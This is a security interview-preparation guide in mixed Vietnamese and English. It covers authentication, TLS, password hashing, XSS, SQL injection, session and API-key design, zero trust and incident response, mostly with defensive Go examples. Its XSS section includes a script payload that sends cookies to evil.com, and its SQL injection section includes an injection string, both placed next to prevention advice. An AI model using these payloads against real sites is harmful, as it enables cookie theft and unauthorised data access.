Security: Interview Questions & Big Picture
PhαΊ§n nΓ y tα»ng hợp cΓ‘c cΓ’u hα»i phα»ng vαΊ₯n phα» biαΊΏn vα» security, tα»« basic ΔαΊΏn advanced. Mα»₯c tiΓͺu khΓ΄ng chα» lΓ trαΊ£ lα»i ΔΓΊng mΓ cΓ²n demonstrate security mindset vΓ understanding vα» trade-offs.
π‘ Interview tip: Khi trαΊ£ lα»i security questions, luΓ΄n mention trade-offs giα»―a security, usability, vΓ performance.
Level 1: Fundamentals (Junior/Mid)
Q1: PhΓ’n biα»t Authentication vs Authorization
Answer:
Authentication (AuthN):
- "BαΊ‘n lΓ ai?"
- Verify identity (username/password, biometrics, MFA)
- Happens FIRST
- Failure β 401 Unauthorized
Authorization (AuthZ):
- "BαΊ‘n cΓ³ quyα»n lΓ m viα»c nΓ y khΓ΄ng?"
- Check permissions after authentication
- Happens SECOND
- Failure β 403 Forbidden
Example:
- Alice logs in vα»i password β Authentication β
- Alice tries to delete Bob's post β Authorization check
- If Alice is admin β Allow β
- If Alice is regular user β Deny β (403)
Follow-up: "Design authentication flow cho mα»t α»©ng dα»₯ng web."
Q2: HTTPS hoαΊ‘t Δα»ng nhΖ° thαΊΏ nΓ o?
Answer:
1. TLS Handshake:
- Client gα»i supported ciphers
- Server chα»n cipher + gα»i certificate
- Client verify certificate (signed by trusted CA?)
2. Key Exchange:
- Client generate random "pre-master secret"
- Encrypt vα»i server's public key (from certificate)
- Send to server
3. Both sides derive session key (symmetric):
- Fast AES encryption for actual data
4. Encrypted communication:
- All data encrypted vα»i session key
Key points:
- Certificate proves server identity (prevent MITM)
- Asymmetric crypto (RSA/ECC) for key exchange
- Symmetric crypto (AES) for data (faster)
Follow-up: "TαΊ‘i sao khΓ΄ng dΓΉng asymmetric encryption cho tαΊ₯t cαΊ£ data?"
β Too slow. RSA ~1000x slower than AES.
Q3: TαΊ‘i sao khΓ΄ng nΓͺn dΓΉng MD5 cho password?
Answer:
Problems vα»i MD5:
- Too fast: Attacker cΓ³ thα» hash billions passwords/second vα»i GPU
- Collision attacks: Có thỠtìm 2 inputs khÑc nhau cho cùng hash
- Rainbow tables: Pre-computed hashes for common passwords
Correct approach:
// β MD5
hash := md5.Sum([]byte(password))
// β
bcrypt (slow by design)
hash, _ := bcrypt.GenerateFromPassword([]byte(password), 12)
// Cost=12 β ~0.3 seconds per hash
// β Brute-force 1M passwords = 3.5 days (not seconds!)
Key differences:
| MD5/SHA256 | bcrypt/argon2 | |
|---|---|---|
| Speed | β‘ Fast | π Slow (intentionally) |
| Salt | Manual | Automatic |
| Work factor | Fixed | Tunable (increase over time) |
| Use case | Checksums | Passwords |
Q4: XSS là gì và cÑch prevent?
Answer:
XSS (Cross-Site Scripting): Attacker inject malicious JavaScript vΓ o website.
Types:
Stored XSS: Script lΖ°u trong DB
Comment: <script>fetch('http://evil.com?cookie='+document.cookie)</script>Reflected XSS: Script trong URL
/search?q=<script>alert('XSS')</script>DOM-based XSS: JavaScript modifies DOM unsafely
elem.innerHTML = userInput; // π₯ Dangerous
Prevention:
Output encoding:
// β Vulnerable fmt.Fprintf(w, "<h1>%s</h1>", userInput) // β Safe tmpl := template.Must(template.New("page").Parse("<h1>{{.}}</h1>")) tmpl.Execute(w, userInput) // Auto-escapesContent Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.comHttpOnly cookies:
http.SetCookie(w, &http.Cookie{ HttpOnly: true, // Prevent JavaScript access })
Q5: SQL Injection vΓ cΓ‘ch prevent?
Answer:
Attack:
// π₯ Vulnerable
query := "SELECT * FROM users WHERE email = '" + email + "'"
// email = "' OR '1'='1' --"
// β SELECT * FROM users WHERE email = '' OR '1'='1' --'
// β Returns ALL users!
Prevention:
Parameterized queries:
// β Safe db.QueryRow("SELECT * FROM users WHERE email = ?", email)ORM (but be careful):
var user User db.Where("email = ?", email).First(&user) // β Safe // π₯ Still vulnerable db.Where(fmt.Sprintf("email = '%s'", email)).First(&user)Input validation:
if !isValidEmail(email) { return errors.New("invalid email") }
Key point: NEVER concatenate user input into SQL queries.
Level 2: Practical Security (Mid/Senior)
Q6: Design authentication system cho mobile app
Answer:
Requirements:
- Secure token storage
- Short-lived access tokens
- Long-lived refresh tokens
- Logout capability
Design:
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β 1. Login Flow β
βββββββββββββββββββββββββββββββββββββββββββββββββββ
Mobile App Server
β β
β POST /login β
β {email, password} β
βββββββββββββββββββββββββββββββββββΊβ
β β Verify credentials
β β Generate tokens:
β β - Access token (15 min JWT)
β β - Refresh token (30 days, in DB)
β β
β {access_token, refresh_token} β
ββββββββββββββββββββββββββββββββββββ€
β β
β Store in Keychain (iOS) β
β or EncryptedSharedPreferences β
β (Android) β
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β 2. API Request Flow β
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β GET /api/profile β
β Authorization: Bearer <access_token>
βββββββββββββββββββββββββββββββββββΊβ
β β Verify token
β {user_data} β
ββββββββββββββββββββββββββββββββββββ€
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β 3. Token Refresh Flow β
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β GET /api/profile β
β Authorization: Bearer <expired_token>
βββββββββββββββββββββββββββββββββββΊβ
β 401 Unauthorized β
ββββββββββββββββββββββββββββββββββββ€
β β
β POST /refresh β
β {refresh_token} β
βββββββββββββββββββββββββββββββββββΊβ
β β Verify refresh token (check DB)
β β Generate new access token
β {access_token} β
ββββββββββββββββββββββββββββββββββββ€
β β
β Retry GET /api/profile β
β with new token β
Key decisions:
Why JWT for access token?
β Stateless, no DB lookup on every requestWhy store refresh token in DB?
β Can revoke immediately (logout, security breach)Why different expiry times?
β Security (short access window) + UX (don't force re-login daily)Secure storage:
- iOS: Keychain
- Android: EncryptedSharedPreferences
- NOT: UserDefaults/SharedPreferences (plaintext)
Q7: Rate limiting strategy cho API
Answer:
Multiple layers:
ββββββββββββββββββββββββββββββββββββββββββββββββββ
β Layer 1: Global Rate Limit β
β 100,000 requests/minute across all users β
ββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββ
β Layer 2: Per-IP Rate Limit β
β 1,000 requests/minute per IP β
β β Prevent single IP from overwhelming β
ββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββ
β Layer 3: Per-User Rate Limit β
β 100 requests/minute per authenticated user β
β β Prevent abuse by single account β
ββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββ
β Layer 4: Per-Endpoint Rate Limit β
β Expensive endpoints (e.g., search): 10/min β
β Cheap endpoints (e.g., GET profile): 100/min β
ββββββββββββββββββββββββββββββββββββββββββββββββββ
Implementation (Token Bucket with Redis):
func checkRateLimit(userID string, limit int, window time.Duration) (bool, error) {
ctx := context.Background()
key := fmt.Sprintf("ratelimit:%s", userID)
// Increment counter
count, err := rdb.Incr(ctx, key).Result()
if err != nil {
return false, err
}
// Set expiry on first request
if count == 1 {
rdb.Expire(ctx, key, window)
}
return count <= int64(limit), nil
}
// Middleware
func rateLimitMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
userID := getUserID(r)
allowed, _ := checkRateLimit(userID, 100, 1*time.Minute)
if !allowed {
w.Header().Set("Retry-After", "60")
http.Error(w, "Rate limit exceeded", 429)
return
}
next.ServeHTTP(w, r)
})
}
Response headers:
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 73
X-RateLimit-Reset: 1234567890
Q8: Secure session management
Answer:
Good practices:
Generate strong session IDs:
// β Cryptographically random b := make([]byte, 32) rand.Read(b) sessionID := base64.URLEncoding.EncodeToString(b) // β Predictable sessionID := fmt.Sprintf("%d", time.Now().Unix())Secure cookie attributes:
http.SetCookie(w, &http.Cookie{ Name: "session_id", Value: sessionID, HttpOnly: true, // Prevent XSS Secure: true, // HTTPS only SameSite: http.SameSiteStrictMode, // CSRF protection MaxAge: 3600, // 1 hour Path: "/", })Regenerate session ID on privilege change:
func handleLogin(w http.ResponseWriter, r *http.Request) { // ... verify credentials ... // Delete old session oldSessionID := getSessionID(r) sessionStore.Delete(oldSessionID) // Generate NEW session ID newSessionID := generateSessionID() sessionStore.Create(newSessionID, userID) // Set new cookie setSessionCookie(w, newSessionID) }Idle timeout + absolute timeout:
type Session struct { UserID int64 CreatedAt time.Time LastActive time.Time } func validateSession(sessionID string) (*Session, error) { session := sessionStore.Get(sessionID) // Absolute timeout: 24 hours from creation if time.Since(session.CreatedAt) > 24*time.Hour { return nil, errors.New("session expired") } // Idle timeout: 30 min since last activity if time.Since(session.LastActive) > 30*time.Minute { return nil, errors.New("session inactive") } // Update last active session.LastActive = time.Now() sessionStore.Update(sessionID, session) return session, nil }
Q9: Securing API keys
Answer:
Best practices:
Prefix keys (identify leaked keys):
// sk_live_abc123xyz... β production secret key // pk_test_def456uvw... β test public keyStore hashed (like passwords):
func createAPIKey(userID int64) (string, error) { // Generate key key := "sk_live_" + generateRandomString(32) // Hash for storage hash := hashAPIKey(key) // Store hash in DB db.Exec("INSERT INTO api_keys (user_id, key_hash) VALUES (?, ?)", userID, hash) // Return plaintext ONCE (like password) return key, nil } func hashAPIKey(key string) string { hash := sha256.Sum256([]byte(key)) return hex.EncodeToString(hash[:]) }Scopes/Permissions:
type APIKey struct { Hash string UserID int64 Scopes []string // ["read:users", "write:posts"] } func requireScope(scope string) func(http.Handler) http.Handler { return func(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { apiKey := getAPIKeyFromRequest(r) if !contains(apiKey.Scopes, scope) { http.Error(w, "Insufficient permissions", 403) return } next.ServeHTTP(w, r) }) } }Rotation mechanism:
// Allow multiple keys (one primary + backup during rotation) type APIKey struct { ID int64 Hash string UserID int64 ExpiresAt *time.Time Revoked bool } // User can create new key while old one still works // Then revoke old key after migrating clientsRate limiting per key:
allowed := checkRateLimit("apikey:"+apiKeyID, 1000, 1*time.Hour)
Level 3: Advanced Security (Senior/Staff)
Q10: Design Zero Trust architecture cho microservices
Answer:
Core principles:
1. Never trust, always verify
2. Assume breach (minimize blast radius)
3. Verify explicitly (every request)
4. Least privilege access
5. Audit everything
Architecture:
βββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Traditional: Trust internal network β
β βββββββββββββββββββββββββββββββββββ β
β β Firewall β β
β β βββββββββββββββββββββββββββββ β β
β β β Internal Network β β β
β β β (All services trust β β β
β β β each other) β β β
β β βββββββββββββββββββββββββββββ β β
β βββββββββββββββββββββββββββββββββββ β
β Problem: If attacker gets in β full access β
βββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Zero Trust: Verify every request β
β β
β ββββββββββ mTLS ββββββββββ mTLS ββββββββββ β
β βService βββββββββΊβService ββββββββββΊService β β
β β A β verify β B β verify β C β β
β ββββββββββ identityββββββββββ identityβββββββββ β
β β β β β
β βΌ βΌ βΌ β
β ββββββββββββββββββββββββββββββββββββββββββββββ β
β β Policy Engine (OPA, Istio AuthZ) β β
β β - Check if A can call B β β
β β - Check scopes/permissions β β
β β - Log all access β β
β ββββββββββββββββββββββββββββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββ
Implementation components:
Service Identity (SPIFFE/SPIRE):
Each service gets unique identity: spiffe://prod.example.com/service-a spiffe://prod.example.com/service-bMutual TLS:
# Istio: Enforce mTLS apiVersion: security.istio.io/v1beta1 kind: PeerAuthentication metadata: name: default spec: mtls: mode: STRICTAuthorization policies:
# Only service-a can call service-b apiVersion: security.istio.io/v1beta1 kind: AuthorizationPolicy metadata: name: service-b-authz spec: selector: matchLabels: app: service-b rules: - from: - source: principals: ["cluster.local/ns/default/sa/service-a"] to: - operation: methods: ["GET", "POST"]Network segmentation:
# Kubernetes Network Policy apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: deny-all-default spec: podSelector: {} policyTypes: - Ingress - Egress # Then explicitly allow needed connectionsAudit logging:
func auditServiceCall(from, to, action, result string) { log.Info("service-call", "from_service", from, "to_service", to, "action", action, "result", result, "timestamp", time.Now(), ) }
Benefits:
- Breach in service-a doesn't compromise service-b
- Can detect anomalies (service-a suddenly calling service-z)
- Audit trail for compliance
Q11: How to detect and prevent account takeover?
Answer:
Multi-layered defense:
Strong authentication:
- MFA required for sensitive actions
- Rate limit login attempts
- Account lockout after N failures
Behavioral analysis:
type LoginAttempt struct { UserID int64 IP string Location string UserAgent string Timestamp time.Time Success bool } func detectSuspiciousLogin(attempt LoginAttempt) bool { // Get user's typical behavior profile := getUserProfile(attempt.UserID) // Check for anomalies if !profile.UsualLocations.Contains(attempt.Location) { // Login from new country return true } if !profile.UsualDevices.Contains(attempt.UserAgent) { // New device return true } // Impossible travel (logged in from US 1 hour ago, now from China) lastLogin := getLastSuccessfulLogin(attempt.UserID) distance := calculateDistance(lastLogin.Location, attempt.Location) timeDiff := attempt.Timestamp.Sub(lastLogin.Timestamp).Hours() if distance/timeDiff > 1000 { // > 1000 km/h return true } return false }Credential stuffing protection:
// Check password against leaked databases func isPasswordCompromised(password string) bool { hash := sha1.Sum([]byte(password)) prefix := hex.EncodeToString(hash[:2]) // First 5 chars // Query Have I Been Pwned API (k-anonymity) resp := httpGet("https://api.pwnedpasswords.com/range/" + prefix) return contains(resp, hash) }Session management:
// Show active sessions to user type ActiveSession struct { SessionID string IP string Location string Device string LastActive time.Time } // Allow user to revoke sessions func revokeSession(userID int64, sessionID string) { // Delete from session store sessionStore.Delete(sessionID) // Audit log auditLog("SESSION_REVOKED", userID, sessionID) }Step-up authentication:
func requireRecentAuth(w http.ResponseWriter, r *http.Request) { lastAuth := getLastAuthTime(r) // For sensitive actions, require re-auth within 5 minutes if time.Since(lastAuth) > 5*time.Minute { http.Error(w, "Re-authentication required", 403) return } } // Usage func deleteAccountHandler(w http.ResponseWriter, r *http.Request) { requireRecentAuth(w, r) // ... proceed with delete }
Q12: Incident response plan cho security breach
Answer:
Phases:
1. PREPARATION β 2. DETECTION β 3. CONTAINMENT β 4. ERADICATION β 5. RECOVERY β 6. LESSONS LEARNED
1. Preparation (before breach):
- Security monitoring/alerts in place
- Incident response team defined
- Communication plan (who to notify)
- Backup & restore procedures tested
2. Detection:
Indicators of compromise:
- Unusual API traffic patterns
- Failed login spikes
- Data exfiltration (large downloads)
- Privilege escalation attempts
- New admin accounts created
3. Containment:
Short-term:
- Isolate compromised services (network policies)
- Revoke compromised credentials
- Block attacker IPs
- Rate limit aggressively
Long-term:
- Patch vulnerabilities
- Rotate all secrets
- Review access controls
4. Eradication:
- Remove malware/backdoors
- Close security holes
- Verify no persistence mechanisms
5. Recovery:
- Restore from clean backups
- Monitor for re-infection
- Gradual return to normal operations
6. Post-mortem:
## Incident Post-Mortem
### What happened?
SQL injection in /api/users endpoint β attacker accessed user data
### Timeline
- 10:00 AM: Attack began (detected by alert spike)
- 10:15 AM: Confirmed breach
- 10:30 AM: Isolated affected service
- 11:00 AM: Patched vulnerability
- 2:00 PM: Restored service
### Root cause
- No input validation on search parameter
- Used string concatenation for SQL query
### What went well?
- Detected within 15 minutes (good monitoring)
- Quick isolation (network policies)
### What went wrong?
- Vulnerability existed for 6 months (code review gap)
- No WAF in front of API
### Action items
- [ ] Implement input validation library
- [ ] Add WAF (Cloudflare/AWS WAF)
- [ ] Security code review for all endpoints
- [ ] Automated security scanning in CI/CD
- [ ] Security training for developers
Big Picture Questions
Q13: Security vs Usability tradeoff
Example: "Should we require 20-character passwords?"
Answer:
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β Too Secure β Unusable β
β - 30-char password with special chars β
β - Re-auth every 5 minutes β
β - No password recovery β
β β Users write passwords on sticky notes β
βββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β Too Usable β Insecure β
β - 4-digit PIN β
β - No session timeout β
β - Password reset with just email β
β β Easy to compromise β
βββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β Balanced Approach β
β - 12-char password OR passkey (better UX) β
β - MFA for sensitive actions only β
β - Session timeout: 30 min idle, 24h absolute β
β - Password reset: email + SMS code β
β β Secure enough + acceptable UX β
βββββββββββββββββββββββββββββββββββββββββββββββββββ
Framework for decision:
- Risk assessment (what's at stake?)
- User impact (how annoying is this?)
- Alternatives (is there less painful solution?)
Example:
- Banking app β High risk β Require MFA β
- Casual game β Low risk β Optional MFA β
Q14: Cost cα»§a security
Answer:
Security khΓ΄ng free β cαΊ§n balance cost vs benefit:
ββββββββββββββββββββββββββββββββββββββββββββββββββ
β Direct Costs β
ββββββββββββββββββββββββββββββββββββββββββββββββββ€
β - Security tools (WAF, SIEM, scanners) β
β - Personnel (security engineers) β
β - Compliance audits (SOC 2, ISO 27001) β
β - Incident response β
ββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ
β Indirect Costs β
ββββββββββββββββββββββββββββββββββββββββββββββββββ€
β - Development velocity (security reviews) β
β - Operational overhead (key rotation) β
β - User friction (MFA, CAPTCHA) β
ββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ
β Cost of Breach (much higher!) β
ββββββββββββββββββββββββββββββββββββββββββββββββββ€
β - Data loss/theft β
β - Fines (GDPR: up to 4% revenue) β
β - Reputation damage β
β - Customer churn β
β - Legal fees β
ββββββββββββββββββββββββββββββββββββββββββββββββββ
ROI calculation:
Prevent breach costs:
Security tools: $100K/year
Security team: $500K/year
Total: $600K/year
Average breach cost (industry): $4.5M
Probability of breach without security: 30%/year
Expected loss: $4.5M * 0.3 = $1.35M/year
ROI: ($1.35M - $600K) / $600K = 125%
Trade-offs by company stage:
- Startup: Focus on auth, input validation, HTTPS (high ROI, low cost)
- Growth: Add MFA, secret management, monitoring
- Enterprise: Full security program (SOC 2, pen tests, security team)
TΓ³m tαΊ―t
Core Security Principles
- Defense in Depth: Multiple security layers
- Least Privilege: Minimum access needed
- Fail Securely: Errors β deny access
- Zero Trust: Never trust, always verify
- Security by Design: Not an afterthought
Common Interview Topics
- Authentication/Authorization mechanisms
- Crypto basics (hashing, encryption, signatures)
- OWASP Top 10 vulnerabilities
- Secure coding practices
- API security (rate limiting, auth)
- Distributed systems security (mTLS, service mesh)
- Incident response
How to Prepare
- Understand fundamentals: Don't just memorize
- Practice explaining: Security concepts to non-technical people
- Know trade-offs: Security vs usability vs cost
- Real-world experience: Implement security features, not just read about them
- Stay updated: Follow security blogs, CVEs
BΖ°α»c tiαΊΏp theo
Deep dives:
owasp-and-common-vulns.mdβ Vulnerabilities chi tiαΊΏtauth/β Authentication/Authorization deep divecrypto-basics.mdβ Cryptography fundamentalsdistributed-systems-security.mdβ mTLS, service mesh
Practice:
- HackTheBox, picoCTF, OWASP WebGoat
- Bug bounty programs (read reports)
- Security Code Review exercises
Further reading:
- "The Web Application Hacker's Handbook"
- "Security Engineering" by Ross Anderson
- OWASP Cheat Sheet Series
- NIST Cybersecurity Framework